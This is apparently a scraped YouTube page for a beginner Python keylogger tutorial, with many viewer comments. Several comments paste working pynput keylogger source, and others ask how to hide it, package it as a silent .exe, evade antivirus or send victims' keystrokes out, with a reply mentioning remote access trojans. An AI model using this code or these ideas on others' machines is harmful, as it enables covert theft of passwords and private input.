How To Code A Keylogger In Python | Programming Tutorial For Beginners

  Рет қаралды 74,761

Shaun Halverson

Shaun Halverson

2 жыл бұрын

Hey guys!
In today's video, we discuss how to write a keylogger in Python. A keylogger logs all keys on your keyboard and hides in the background. This is a common tool used by hackers for stealing all kinds of information from users without them even knowing. Please don't do this for real! Learning purposes only :D Enjoy!
These projects are available on GitHub at
--------------------------------------------------------------------------------------
github.com/ShaunHalverson/Pyt...
Add Me On Discord!
--------------------------------------------------------------------------------------
Username: Shaun(Hashtag)5626
Software Engineering / Programming for beginners / variables types / computer science /compsci / coding for beginners / learn how to program / learn how to code / python variables / python for beginners / coding tutorial / programming tutorial
Want to see more? Click on this spicy link :D
/ @shaunhalverson
Assets in the thumbnail were provided by artists on
www.canva.com
All art and copyright ownership belongs to the artists on Canva and is under the protection of the Canva pro membership.
#programming #tutorial #learntocode

Пікірлер: 149
@letmeouturbasementbro
@letmeouturbasementbro 10 ай бұрын
🗿 I'm definitely using this for educational purposes, thank you 🗿
@YashKumar-pj8tk
@YashKumar-pj8tk 10 ай бұрын
😂
@florenciajoseph7714
@florenciajoseph7714 10 ай бұрын
😂😂😂
@Broyuz
@Broyuz 9 ай бұрын
😂😂😂😂
@Mera2002
@Mera2002 9 ай бұрын
😂😂😂😂😂
@holipsic7967
@holipsic7967 8 ай бұрын
😂😂😂😂😂😂@@Mera2002
@septimusforster
@septimusforster Жыл бұрын
Thank you. I promise, I'm not a bad guy.
@user-ys9kg6ye8u
@user-ys9kg6ye8u 5 ай бұрын
none of us are ❤
@yassinloay7515
@yassinloay7515 5 ай бұрын
That is a little bit sus
@Tebatso-wd1xs
@Tebatso-wd1xs Ай бұрын
I AM
@Cry_baBy259
@Cry_baBy259 4 күн бұрын
Well I am 🥲
@danimatviolin9679
@danimatviolin9679 7 ай бұрын
My friend!!! So much thank you for this! I've been working on HTML&CSS, JavaScript and Python for almost a year now. Done a lot of nice things already, but I always had a problem with installing libraries. Always got errors, never worked. Yeah yeah you all can laugh (I almost cried about it) watched dozens of video's about it, starting to feel really stupid... And your simply explaination / demonstration in the beginning, it worked! Now I finally can make serious progression with Python! Since libraries are half of the work. Thanks for this cool keylogger but MANY MORE THANKS for explaining / demonstrating libraries 😀 Like and a sub
@joshuasachiza6135
@joshuasachiza6135 4 ай бұрын
I totally agree with libraries are a lot of work. So much stress just for installing / configuring stuff which usually doesn't even work even if you follow everything, line by line 😂😂
@caseyrivera2765
@caseyrivera2765 3 ай бұрын
Solid explanation!! Was looking into cyber security projects and this was one of the projects that popped up glad it brought me here!
@healthcentral001
@healthcentral001 Ай бұрын
Me too. Can we link up and learn more stuff together? I'm in cyber security too
@TheNight55
@TheNight55 3 ай бұрын
from pynput import keyboard def keyPressed(key): print(str(key)) with open("keyfile.txt", 'a') as logkey: try: char = key.char logkey.write(char) execpt: print("Error getting char") if__name__ == "__main__": listener = keyboard.Listener(on_press=keypressed) listener.start() input()
@fatmanurerturk374
@fatmanurerturk374 Жыл бұрын
thanks bro amazing video :)
@CrawdadSoftware
@CrawdadSoftware Жыл бұрын
You said you work in cybersec. can you make some tutorials from this field? this would be very intresting to learn
@TiagoAlves-nw6vd
@TiagoAlves-nw6vd Жыл бұрын
Excellent, thanks for sharing...
@vishaalnnagpal99
@vishaalnnagpal99 4 ай бұрын
Today I see your video and make a keylogger I have trouble starting but get it working 👍👍🙏
@anantika
@anantika Жыл бұрын
How to i add the on release function to stop the keylogger
@HungryBones
@HungryBones 6 ай бұрын
Is there a way I could open the key file into a certain folder?
@mahdimohandis
@mahdimohandis 2 жыл бұрын
Thanks man very helpful
@Its_Alan_Paul
@Its_Alan_Paul Жыл бұрын
Dude that was Epic
@pabloandres5845
@pabloandres5845 Жыл бұрын
thanks bro, you saved me
@Its_Alan_Paul
@Its_Alan_Paul Жыл бұрын
You deserve a Follow
@mio7046
@mio7046 Ай бұрын
thank you so much for this video, you saved me!
@annanyagaikkwad9127
@annanyagaikkwad9127 4 ай бұрын
thankyou so much you just saved my grade:))
@subash4468
@subash4468 5 ай бұрын
Thank you so much bro ❤
@eZaFJDUBB
@eZaFJDUBB 6 ай бұрын
aren't all characters in python strings with a length of 1? char is a keyword from c/c++ with character data types?? you could say x = key.x as well or anything
@user-qc9ov2iz1n
@user-qc9ov2iz1n 6 ай бұрын
it stop when i pressed ok enter key ;how to fixe this problem and ;how to create new file txt to enregister new use
@alexbellury
@alexbellury 9 ай бұрын
Does this only work for Windows because I tried this for me Debian based Linux distro and it wouldn't create a .txt file
@bahramahady
@bahramahady Жыл бұрын
Thank you ❤️
@davorfister
@davorfister 8 ай бұрын
Thanks im gonna use this for school
@wiktormigaszewski8684
@wiktormigaszewski8684 2 ай бұрын
I need an example file of someone who wrote a longer text (a story or a masters thesis) - is there any such public repository? or maybe someone can share such a file?
@user-fm7uh6rt4z
@user-fm7uh6rt4z 20 күн бұрын
Anyone know where the keylogger.txt file is saved?
@floridaboyshii78
@floridaboyshii78 6 ай бұрын
Anybody know how I could use this o. Mobile phone
@user-kt6wt4vf4w
@user-kt6wt4vf4w 21 күн бұрын
Question how would I send this to a mobile device I’m testing it on my phone btw for “educational purposes”
@psichiatri7854
@psichiatri7854 26 күн бұрын
hello bro where I can write to you with questions
@AshGamerfreesub
@AshGamerfreesub 5 ай бұрын
why it doesn't work on password field. it doesn't work when i type my password
@PhantomShop.
@PhantomShop. Жыл бұрын
how do i get pynput
@ehudkotegaro
@ehudkotegaro 7 ай бұрын
5:52 should you really use a bare Except? Isn't there a more Specific exception you could use?
@vxruzdanz
@vxruzdanz 11 ай бұрын
doesnt detect uppercase letters
@nikitathakkar3416
@nikitathakkar3416 6 ай бұрын
I was trying to find this for so long and finally it works thanks a ton♥
@XBeloFn
@XBeloFn 4 ай бұрын
can u please tell me how do i send the keylogger to a friend and get his information when he is typing???
@proddanyy
@proddanyy 4 ай бұрын
@@XBeloFn that is illegal bro 💀💀💀💀💀💀
@1bbeSuedi
@1bbeSuedi 3 ай бұрын
@@proddanyy how do i do it
@oentrepreneur
@oentrepreneur 8 ай бұрын
Can this keylogger read sms messages
@hangeryouhen3311
@hangeryouhen3311 2 ай бұрын
I ran the code and the Windows Defender didn't alarmed me or anything
@enoobis
@enoobis Жыл бұрын
``` from pynput import keyboard def keyPressed(key): print(str(key)) with open("keyfile.txt",'a') as logkey: try: char = key.char logkey.write(char) except: print("error getting char") if __name__ == '__main__': listener = keyboard.Listener(on_press=keyPressed) listener.start() input() ```
@bonbondonk8389
@bonbondonk8389 8 ай бұрын
from pynput import keyboard def keyPressed(key): print(str(key)) with open("keyfile.txt",'a') as logkey: try: char = key.char logkey.write(char) except: print("error getting char") if __name__ == '__main__': listener = keyboard.Listener(on_press=keyPressed) listener.start() input()
@enoobis
@enoobis 8 ай бұрын
@@bonbondonk8389 what's the difference?
@user-ys6yr4pv7y
@user-ys6yr4pv7y 22 күн бұрын
bro why its not working on me?
@RandumKontent
@RandumKontent 9 ай бұрын
it doesnt log spaces?
@mohammedbasraoi7588
@mohammedbasraoi7588 10 ай бұрын
is this a netsite
@Myrxx
@Myrxx 2 ай бұрын
how i press play (where)
@AshutoshNigam68
@AshutoshNigam68 11 ай бұрын
Can the code record the name of the control clicked and textbox that is receiving the text?
@cozypm
@cozypm 3 ай бұрын
have you found out?
@AshutoshNigam68
@AshutoshNigam68 3 ай бұрын
My team found some sample code to do this job. Been long time, not coding for last 6 months sorry.
@vishaalnnagpal99
@vishaalnnagpal99 4 ай бұрын
Please make a video email keylogger from python and how it works in windows
@lalithaditya9639
@lalithaditya9639 8 ай бұрын
done with the project but how can i use the code for targeting another system
@Grinderjosh
@Grinderjosh 5 ай бұрын
Bro wanna hack
@the8estof
@the8estof 11 ай бұрын
i installed pynput but i cant import neither pynput nor keyboard from pynput
@cashelGOAT
@cashelGOAT 5 ай бұрын
reload visual studios
@Filiberke123
@Filiberke123 7 ай бұрын
how to stop it?
@MightBeClive
@MightBeClive 2 ай бұрын
hey did anyone get an error cause i got an "error getting char" and I'm not seeing the key file being made for mine wondering if anyone had the same issue?
@velocisaurus79
@velocisaurus79 2 ай бұрын
yea Im having the same issue
@GvIn2it
@GvIn2it 3 ай бұрын
Why doesn't it show spaces?
@UpeUPE-ku6si
@UpeUPE-ku6si Жыл бұрын
How do i make it to accept spaces instead of sending an error??
@santinomartella9243
@santinomartella9243 4 ай бұрын
You could make the except write a space also I feel like if you used strings instead of chars it wouldn’t be an issue
@GvIn2it
@GvIn2it 3 ай бұрын
How to make this append a password-protected.zip?
@TheNight55
@TheNight55 19 күн бұрын
How to makes so i get the keys also (NOT WILL USE IT WILL USE IT TO LEARN CODING AND MORE!)
@velocisaurus79
@velocisaurus79 2 ай бұрын
My Av didnt detect the keylogger did I do something wrong? and it isnt creating the txt file all of the key logs are being recorded in the terminal?
@velocisaurus79
@velocisaurus79 2 ай бұрын
being as though the av didnt detect it how can I turn it off?
@imppaco
@imppaco 4 ай бұрын
I was hoping to use examples to understand how a background application would see the Userspace. Is there a way for a script to run (ex. on cron/startup), to prompt the User for input, on a Linux system?
@XBeloFn
@XBeloFn 4 ай бұрын
can u tell me how do i send other people the keylogger like in discord how do i send my friend the keylogger
@cryz81
@cryz81 4 ай бұрын
@@XBeloFnmake the .py file an .exe
@tecassowebandwebappssoluti4337
@tecassowebandwebappssoluti4337 7 ай бұрын
Is there a way for code to run remotely like a user downloaded a file from online not knowing it's a keylogger script ... Then on install it's starts logging user key stroke .... Asking for school project.
@technicalwolfs5390
@technicalwolfs5390 5 ай бұрын
Even I want to know that have u got the answer
@speedeespeedboi9527
@speedeespeedboi9527 8 ай бұрын
it does not work for games
@itscharles2653
@itscharles2653 4 ай бұрын
ty ;)
@rafolijf1256
@rafolijf1256 6 ай бұрын
bro my antivirus deleted the file, guess i shouldn't have done it on my school computer...
@SwainJamie
@SwainJamie 2 ай бұрын
Trying to pack this into an .exe file with pyinstaller, tried creating with "--onefile --noconsole" but getting this error "line 15, in RuntimeError: input(): lost sys.stdin". Packing it into an exe with the console visible works just fine but of course thats not ideal.
@MightBeClive
@MightBeClive 2 ай бұрын
hey did you get a char error when you tried it?
@MightBeClive
@MightBeClive 2 ай бұрын
hey did you get a char error when you tried it?
@SwainJamie
@SwainJamie 2 ай бұрын
@@MightBeClive No character errors just seems to need the console window when running, no way to have it run in the background from what I can figure out anyway.
@Grinderjosh
@Grinderjosh Жыл бұрын
where did u runned it? the app what u use
@erennere197
@erennere197 Жыл бұрын
it is vscode
@hoangquocnguyen8106
@hoangquocnguyen8106 11 ай бұрын
U run python with sumthin(im using idle and vscode)
@sturm379
@sturm379 Жыл бұрын
but what if I enjected it in someones computer. do it still send me the keys that he used?
@konamiitti2343
@konamiitti2343 Жыл бұрын
Yes i think so
@eZaFJDUBB
@eZaFJDUBB 6 ай бұрын
@@konamiitti2343 no, it will make a txt file on their computer
@vinayakkaushik3231
@vinayakkaushik3231 Жыл бұрын
No key file got formed what to do
@gabimorales8296
@gabimorales8296 Жыл бұрын
Make sure to save .py file before running
@Debuss3156
@Debuss3156 Ай бұрын
this is surely scary i tried it for educational purpose
@donjay6722
@donjay6722 Жыл бұрын
i tried running the program but got 'cant open file invalid argument' error in the terminal
@boris901
@boris901 Жыл бұрын
I've also
@Allaboutcars997
@Allaboutcars997 Жыл бұрын
Same here had so many error why doesn’t he reply
@Derrmyster
@Derrmyster Жыл бұрын
@@Allaboutcars997 from what I've noticed you might have to restart the program since the AV deletes the file and if not turned off quickly enough it will shoot out the argument. Hopefully you found a solution before I got here lol
@plaksnorr5267
@plaksnorr5267 Жыл бұрын
yall stupid
@rqqted
@rqqted Жыл бұрын
try this instead from pynput import keyboard # creating file and writing to it def no(key): with open('key.txt','a') as logkey: logkey.write(f' {key}') #the code if __name__ == "__main__": listener = keyboard.Listener(on_press=no) listener.start() input()
@bilqimlb
@bilqimlb Жыл бұрын
how to make this to exe ??
@rqqted
@rqqted Жыл бұрын
pyinstaller
@weird-ai-videos
@weird-ai-videos Жыл бұрын
i installed pynput but i still have those yellow lines and the listener does not work could you pls help me?
@erennere197
@erennere197 Жыл бұрын
same happened to me
@oijje
@oijje Жыл бұрын
same here
@anchorpb2007
@anchorpb2007 Жыл бұрын
I had the same issue, but I found a solution: kzfaq.info/get/bejne/mtBlorKBxsutoX0.html
@Drew78787
@Drew78787 Жыл бұрын
For me it installed it to the wrong version of Python, all I had to do was switch to the version it installed to and it worked
@GetBentstream
@GetBentstream 9 ай бұрын
listener should be Listener
@nogaminglife901
@nogaminglife901 2 жыл бұрын
How do I send it to my email?
@amitpaul6109
@amitpaul6109 Жыл бұрын
Wait I will file a case on you 😂😂😂
@xzjwq
@xzjwq Жыл бұрын
@@amitpaul6109 ong
@user-yt5fo6pe2q
@user-yt5fo6pe2q 8 ай бұрын
pls some tell me what to do here
@shahzaibhassan6504
@shahzaibhassan6504 8 ай бұрын
You probably didint import keyboard, Can you show me your full code?
@whocaresatall4762
@whocaresatall4762 6 ай бұрын
Import the keyboard!
@Python_Tube
@Python_Tube Жыл бұрын
If you can tell me how to send this file to email
@juanr0919
@juanr0919 Жыл бұрын
pretty sure thats illegal if the reciever getting the email doens't know why would you want to do that?
@exploreworldx
@exploreworldx 10 ай бұрын
It does not not create the txt file
@vinidias015
@vinidias015 8 ай бұрын
you have to select the project folder in the explorer menu
@Grinderjosh
@Grinderjosh 5 ай бұрын
Now am wondering how can i make it as a spyware (am just educating) aight
@badanapallypraneeth7716
@badanapallypraneeth7716 Жыл бұрын
Module cannot be callable
@markocska94
@markocska94 Жыл бұрын
Great tutorial! Nice to see if that you are a fellow Minecrafter too. Feel free to invite me to play online
@therandomness3728
@therandomness3728 Жыл бұрын
You have just informed people that want to hack exactly how to do it.
@davidgolombek2503
@davidgolombek2503 Жыл бұрын
i got error 22 in terminal "invalid argument"
@Derrmyster
@Derrmyster Жыл бұрын
from what I've noticed you might have to restart the program since the AV deletes the file and if not turned off quickly enough it will shoot out the argument. Hopefully you found a solution before I got here lol
@metoyxs1832
@metoyxs1832 11 ай бұрын
@@Derrmyster nah i kind of forgot that i ever even wanted to make keylogger
@robealmangco492
@robealmangco492 Жыл бұрын
so if i send that file to my friend's computer and he run on it, and open his social media account, it will send it to my txt ?
@amaze3727
@amaze3727 Жыл бұрын
No, you're better off using a Remote Access Trojan for that (for educational purposes of course)
@frasscu
@frasscu Жыл бұрын
yoo men , idk if u can help me but when i creare de code and i save it when i tried to open it again i cant . and idk how to fix the problem thanks
@rqqted
@rqqted Жыл бұрын
whats ur discord
@odayzaour6926
@odayzaour6926 Жыл бұрын
is it work for android ?
@htdkujhgnjyjykri9987
@htdkujhgnjyjykri9987 Жыл бұрын
Bro pip is not installing
@Derrmyster
@Derrmyster Жыл бұрын
be sure that your casing is correct along with spelling. if thats all good sometimes you might have to try the other method of : " py -m pip install ' insert here ' " or directly " ' pip install ' insert here ' here is also a time stamp if you need to rewatch him do it 1:45
@htdkujhgnjyjykri9987
@htdkujhgnjyjykri9987 Жыл бұрын
@@Derrmyster thnx but I have resolved that issue thnx
@deniskanja1952
@deniskanja1952 Жыл бұрын
Can it work on android
@VikTech777
@VikTech777 Жыл бұрын
no
@lazarzivanovic2652
@lazarzivanovic2652 10 ай бұрын
where do u click play man
@weird-ai-videos
@weird-ai-videos Жыл бұрын
hey i got a error when i run it
@tianomerce4621
@tianomerce4621 2 ай бұрын
Hey guys did have someone a finish Keylogger Datei who can send me pleas :D
@solomontheuri1033
@solomontheuri1033 2 ай бұрын
🗿
@pumpkingolem9122
@pumpkingolem9122 9 ай бұрын
dw i am using it for a game
@speedeespeedboi9527
@speedeespeedboi9527 8 ай бұрын
did it work?
@dehset242
@dehset242 7 ай бұрын
SyntaxError: expected ':'
Using My Python Skills To Punish Credit Card Scammers
7:13
Engineer Man
Рет қаралды 4,9 МЛН
A little girl was shy at her first ballet lesson #shorts
00:35
Fabiosa Animated
Рет қаралды 11 МЛН
DAD LEFT HIS OLD SOCKS ON THE COUCH…😱😂
00:24
JULI_PROETO
Рет қаралды 15 МЛН
Каха заблудился в горах
00:57
К-Media
Рет қаралды 3,1 МЛН
Mom's Unique Approach to Teaching Kids Hygiene #shorts
00:16
Fabiosa Stories
Рет қаралды 31 МЛН
Warning! Python Remote Keylogger (this is really too easy!)
10:50
David Bombal
Рет қаралды 332 М.
Is Coding Important for Cyber Security?
9:24
Cyberspatial
Рет қаралды 346 М.
HOW TO MAKE A KEYLOGGER IN 19 LINES OF CODE - PYTHON TUTORIAL
10:57
Joshua Fluke
Рет қаралды 301 М.
Python keylogger
6:23
David Bombal
Рет қаралды 389 М.
How Hackers Write Malware & Evade Antivirus (Nim)
24:04
John Hammond
Рет қаралды 392 М.
This is Why Programming Is Hard For you
10:48
The Coding Sloth
Рет қаралды 722 М.
2-Minute Rule to Learn Coding - Atomic Habits
7:58
Sahil & Sarra
Рет қаралды 1 МЛН
Build Anything With ChatGPT, Here’s How
1:24:05
David Ondrej
Рет қаралды 1 МЛН
A little girl was shy at her first ballet lesson #shorts
00:35
Fabiosa Animated
Рет қаралды 11 МЛН